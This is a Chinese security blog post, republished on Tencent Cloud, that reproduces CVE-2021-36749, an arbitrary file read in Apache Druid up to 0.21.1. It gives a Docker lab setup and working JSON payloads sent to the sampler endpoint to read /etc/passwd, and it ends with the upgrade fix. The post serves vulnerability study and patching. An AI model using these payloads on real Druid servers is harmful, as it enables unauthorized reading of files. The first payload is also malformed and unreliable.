Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >CVE-2021-36749: Apache Druid任意文件读取复现

CVE-2021-36749: Apache Druid任意文件读取复现

作者头像
Timeline Sec
发布于 2022-02-11 05:58:31
发布于 2022-02-11 05:58:31
2.1K00
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

本文字数:1667

阅读时长:5~6min

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Apache Druid 是一个集时间序列数据库数据仓库和全文检索系统特点于一体的分析性数据平台。

0x02 漏洞概述

Apache Druid对用户指定的HTTP InputSource没有做限制,并且Apache Druid默认管理页面是不需要认证即可访问的。因此未经授权的远程攻击者可以通过构造恶意参数读取服务器上的任意文件。

0x03 影响版本

Apache Druid <= 0.21.1

0x04 环境搭建

创建docker-compose.yml,内容如下:

docker-compose.yml

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
version: "2.2"

volumes:
  metadata_data: {}
  middle_var: {}
  historical_var: {}
  broker_var: {}
  coordinator_var: {}
  router_var: {}

services:
  postgres:
    container_name: postgres
    image: postgres:latest
    volumes:
      - metadata_data:/var/lib/postgresql/data
    environment:
      - POSTGRES_PASSWORD=FoolishPassword
      - POSTGRES_USER=druid
      - POSTGRES_DB=druid
  # Need 3.5 or later for container nodes
  zookeeper:
    container_name: zookeeper
    image: zookeeper:3.5
    environment:
      - ZOO_MY_ID=1

  coordinator:
    image: apache/druid:0.21.1
    container_name: coordinator
    volumes:
      - ./storage:/opt/data
      - coordinator_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
    ports:
      - "8081:8081"
    command:
      - coordinator
    env_file:
      - environment
  broker:
    image: apache/druid:0.21.1
    container_name: broker
    volumes:
      - broker_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8082:8082"
    command:
      - broker
    env_file:
      - environment
  historical:
    image: apache/druid:0.21.1
    container_name: historical
    volumes:
      - ./storage:/opt/data
      - historical_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8083:8083"
    command:
      - historical
    env_file:
      - environment
  middlemanager:
    image: apache/druid:0.21.1
    container_name: middlemanager
    volumes:
      - ./storage:/opt/data
      - middle_var:/opt/druid/var
    depends_on: 
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8091:8091"
    command:
      - middleManager
    env_file:
      - environment
  router:
    image: apache/druid:0.21.1
    container_name: router
    volumes:
      - router_var:/opt/druid/var
    depends_on:
      - zookeeper
      - postgres
      - coordinator
    ports:
      - "8888:8888"
    command:
      - router

再在同级目录下创建名为environment的文件,内容如下 environment

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# Java tuning
DRUID_XMX=1g
DRUID_XMS=1g
DRUID_MAXNEWSIZE=250m
DRUID_NEWSIZE=250m
DRUID_MAXDIRECTMEMORYSIZE=6172m

druid_emitter_logging_logLevel=debug

druid_extensions_loadList=["druid-histogram", "druid-datasketches", "druid-lookups-cached-global", "postgresql-metadata-storage"]

druid_zk_service_host=zookeeper

druid_metadata_storage_host=
druid.javascript.enabled = true
druid_metadata_storage_type=postgresql
druid_metadata_storage_connector_connectURI=jdbc:postgresql://postgres:5432/druid
druid_metadata_storage_connector_user=druid
druid_metadata_storage_connector_password=FoolishPassword

druid_coordinator_balancer_strategy=cachingCost

druid_indexer_runner_javaOptsArray=["-server", "-Xmx1g", "-Xms1g", "-XX:MaxDirectMemorySize=4g", "-Duser.timezone=UTC", "-Dfile.encoding=UTF-8", "-Djava.util.logging.manager=org.apache.logging.log4j.jul.LogManager"]
druid_indexer_fork_property_druid_processing_buffer_sizeBytes=268435456

druid_storage_type=local
druid_storage_storageDirectory=/opt/data/segments
druid_indexer_logs_type=file
druid_indexer_logs_directory=/opt/data/indexing-logs

druid_processing_numThreads=2
druid_processing_numMergeBuffers=2

DRUID_LOG4J=<?xml version="1.0" encoding="UTF-8" ?><Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{ISO8601} %p [%t] %c - %m%n"/></Console></Appenders><Loggers><Root level="info"><AppenderRef ref="Console"/></Root><Logger name="org.apache.druid.jetty.RequestLog" additivity="false" level="DEBUG"><AppenderRef ref="Console"/></Logger></Loggers></Configuration>

执行docker-compose up -d后,访问8081端口即可

0x05 漏洞复现

方法一(推荐)

点击load data。选择http(s):// ,点击connect data

URIs填写file:///etc/passwd,然后点击load按钮,页面直接回显

方法二(load Data无法点击时可以试试)

向接口/druid/indexer/v1/sampler以POST请求的方式发送以下数据。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
  "type": "index",
  "spec": {
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "local",
        "baseDir": "/etc/",
        "filter": "passwd"
      },
      "inputFormat": {
        "type": "json",
        "keepNullColumns": true
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "format": "iso",
        "missingValue": "1970"
      },
      "dimensionsSpec": {}
    }
  },
  "type": "index",
  "tuningConfig": {
    "type": "index"
  }
},
  "samplerConfig": {
    "numRows": 500,
    "timeoutMs": 15000
  }
}

或者(firehose 老版本使用 大概0.15.0左右)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
        "type": "index",
        "spec": {
          "ioConfig": {
            "type": "index",
            "firehose": {
              "type": "local",
              "baseDir": "/etc/",
              "filter": "passwd"
            }
          },
          "dataSchema": {
            "dataSource": "sample",
            "parser": {
              "parseSpec": {
                "format": "json",
                "timestampSpec": {},
                "dimensionsSpec": {}
              }
          }
        }
      },
        "samplerConfig": {
          "numRows": 500,
          "timeoutMs": 15000
        }
      }

或者(网传payload)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{
        "type": "index",
        "spec": {
          "type": "index",
          "ioConfig": {
            "type": "index",
            "firehose": {
              "type": "http",
              "uris": ["file:///etc/passwd"]
            }
          },
          "dataSchema": {
            "dataSource": "sample",
            "parser": {
              "type": "string",
              "parseSpec": {
                "format": "regex",
                "pattern": "(.*)",
                "columns": ["a"],
                "dimensionsSpec": {},
                "timestampSpec": {
                  "column": "!!!_no_such_column_!!!",
                  "missingValue": "2010-01-01T00:00:00Z"
                }
              }
            }
          }
        },
        "samplerConfig": {
          "numRows": 500,
          "timeoutMs": 15000
        }
      }

0x06 修复方式

升级至Apache Druid 0.22.0及以上版本

https://github.com/apache/druid/

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
参考链接:

https://www.freebuf.com/vuls/263276.html https://druid.apache.org/docs/latest/tutorials/docker.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-01-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Apache Druid 远程代码执行漏洞 CVE-2021-25646
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码
WgpSec
2021/02/04
1K0
Apache Druid 远程代码执行漏洞 CVE-2021-25646
大数据Apache Druid(五):Druid批量数据加载
Druid支持流式和批量两种方式的数据摄入,流式数据是指源源不断产生的数据,数据会一直产生不会停止。批量数据是指已经生产完成的数据。这两种数据都可以加载到Druid的dataSource中供OLAP分析使用。
Lansonli
2022/08/21
7400
大数据Apache Druid(五):Druid批量数据加载
Druid架构与实现
Druid是实时分析型数据库(OLAP),利用面向列的存储布局、分布式非共享体系结构和先进的索引结构,可以在秒量级的延迟内查询百亿行表。
charmer
2021/04/16
1.7K0
Druid架构与实现
【CVE-2021-25646 | 附PoC】Apache Druid 远程代码执行漏洞
Apache Druid是美国阿帕奇软件(Apache)基金会的一款使用Java语言编写的、面向列的开源分布式数据库。
Khan安全团队
2021/03/10
4.6K0
【CVE-2021-25646 | 附PoC】Apache Druid 远程代码执行漏洞
大数据Apache Druid(三):Druid集群搭建
Druid进程可以以任意方式进行部署,为了方便部署,建议分为三种服务器类型:主服务器(Master)、查询服务器(Query)、数据服务器(Data)。
Lansonli
2022/08/19
1.5K0
大数据Apache Druid(三):Druid集群搭建
Druid 0.17 入门(2)—— 安装与部署
micro-quickstart尺寸适合笔记本电脑等小型机器,目的是用于快速评估使用情况。
大数据流动
2020/02/24
1.7K0
CVE-2021-25646:Apache Druid RCE复现
Druid不仅是一个数据库连接池,还包含一个ProxyDriver、一系列内置的JDBC组件库、一个SQL Parser。
Timeline Sec
2021/03/04
2.3K0
OLAP红与黑 | 也许你应该考虑一下Druid
场景描述:Druid是一个专为大型数据集上的高性能切片和OLAP分析而设计的数据存储。Druid最常用作为GUI分析应用程序提供动力的数据存储,或者用作需要快速聚合的高度并发API的后端。
王知无-import_bigdata
2019/09/08
1.4K0
面经:Druid实时数据分析系统设计与应用
作为一名专注于大数据处理与实时分析技术的博主,我深知Apache Druid作为一款高性能的实时数据分析系统,在现代数据栈中所发挥的关键作用。本篇博客将结合我个人的面试经历,深入剖析Druid的设计理念、核心功能及其在实际应用中的最佳实践,分享面试必备知识点,并通过示例进一步加深理解,助您在求职过程中自信应对与Druid相关的技术考察。
Jimaks
2024/04/14
1940
0836-Apache Druid on HDP
Apache Druid是一个分布式的、面向列的、实时分析数据库,旨在快速获取大量数据并将其编入索引,并对大型数据集进行快速的切片和切分分析(“OLAP查询),常用于实时摄取、快速查询和对时间依赖性很高的数据库用户。因此,Druid可以为可视化的分析应用程序提供强力的数据源支持,或用作需要快速聚合的高并发API的后端。Druid最适合面向事件的数据。
Fayson
2021/04/30
1.3K0
0836-Apache Druid on HDP
大数据Apache Druid(四):使用Imply进行Druid集群搭建
Imply基于Druid进行了一些组件的开发,是Druid的集成包,提供开源版本和商业版本,类似CDH一样,使安装Druid简化了部署,Imply也是Druid团队开发。
Lansonli
2022/08/20
6790
大数据Apache Druid(四):使用Imply进行Druid集群搭建
Apache Druid 的集群设计与工作流程
Druid 是多进程架构,每种进程类型都可以独立配置,独立扩展。这样可以为集群提供最大的灵活度。这种设计还提供了强失效容忍:一个失效的组件不会立即影响另外的组件。
码哥字节
2020/03/24
1.1K0
druid调参
historical分冷热节点 不同节点可以参考评论中的配置 historical冷节点
用户8761231
2022/02/22
4990
快速学习-Druid数据摄入
一些简单的聚合函数: count 、longSum、longMin、longMax、doubleSum、doubleMin、doubleMax
cwl_java
2022/11/30
7750
快速学习-Druid数据摄入
Druid:通过 Kafka 加载流数据
本教程演示了如何使用 Druid 的 Kafka indexing 服务从 Kafka 流中加载数据至 Druid。
码哥字节
2020/06/02
1.9K0
Druid:通过 Kafka 加载流数据
Druid 0.17 入门(3)—— 数据接入指南
在快速开始中,我们演示了接入本地示例数据方式,但Druid其实支持非常丰富的数据接入方式。比如批处理数据的接入和实时流数据的接入。本文我们将介绍这几种数据接入方式。
大数据流动
2020/03/19
6970
大数据繁荣生态圈组件之实时大数据Druid小传(三)Druid入门实操
3.访问WebUI 组件名 URL broker http://node01:8888 coordinator、overlord http://node01:8081/index.html middleManager、historical http://node01:8090/console.html
Maynor
2022/04/21
8560
大数据繁荣生态圈组件之实时大数据Druid小传(三)Druid入门实操
大数据Apache Druid(二):Druid数据结构及架构原理
Druid中的数据存储在datasource中,类似RDBMS中的table,每个datasource中按照时间划分,每个时间范围称为一个chunk(一般一天为一个chunk),在一个chunk中数据根据维度的Hash或者范围被分成一个或者多个segment,每个segment都是一个单独的文件,通常包含几百万行数据,这些segment是按照时间组织成的,所以在按照时间查询数据时,效率非常高。实际上,datasource和chunk都是抽象的,Druid底层存储就是Segment,一旦一个Segment生成后就无法被修改,只能通过生成一个新的Segment来代替旧版本的Segment。
Lansonli
2022/08/18
1.2K0
大数据Apache Druid(二):Druid数据结构及架构原理
docker下的spark集群,调整参数榨干硬件
本文是《docker下,极速搭建spark集群(含hdfs集群)》的续篇,前文将spark集群搭建成功并进行了简单的验证,但是存在以下几个小问题:
程序员欣宸
2019/05/29
1.5K0
docker下的spark集群,调整参数榨干硬件
Docker系列教程22-docker-compose.yml常用命令
docker-compose.yml是Compose的默认模板文件。该文件有多种写法,例如Version 1 file format、Version 2 file format、Version 2.1 file format、Version 3 file format等。其中,Version 1 file format将逐步被被弃用;Version 2.x及Version 3.x基本兼容,是未来的趋势。考虑到目前业界的使用情况,本节只讨论Version 2 file format下的常用命令。 (1) bu
用户1516716
2018/06/04
6240
推荐阅读
相关推荐
Apache Druid 远程代码执行漏洞 CVE-2021-25646
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验